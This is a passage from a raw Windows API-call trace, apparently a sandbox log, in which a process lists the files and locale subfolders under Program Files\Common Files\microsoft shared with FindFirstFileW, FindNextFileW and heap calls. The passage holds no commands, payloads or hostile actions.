ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0053.674] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0053.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0053.675] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0053.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.809] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.809] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0054.809] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0054.809] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA") returned 56 [0054.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0054.809] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.809] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.809] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.809] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0054.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.810] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0054.810] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG") returned 56 [0054.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0054.810] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.810] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.810] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.810] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0054.810] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.810] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0054.810] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0054.810] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ") returned 56 [0054.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260100 [0054.810] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.810] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.811] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.811] FindClose (in: hFindFile=0x4260100 | out: hFindFile=0x4260100) returned 1 [0054.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.811] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0054.811] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK") returned 56 [0054.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0054.811] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.811] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.811] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.811] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0054.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.811] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0054.811] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE") returned 56 [0054.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.811] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.812] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.812] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.812] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.812] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR") returned 56 [0054.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, 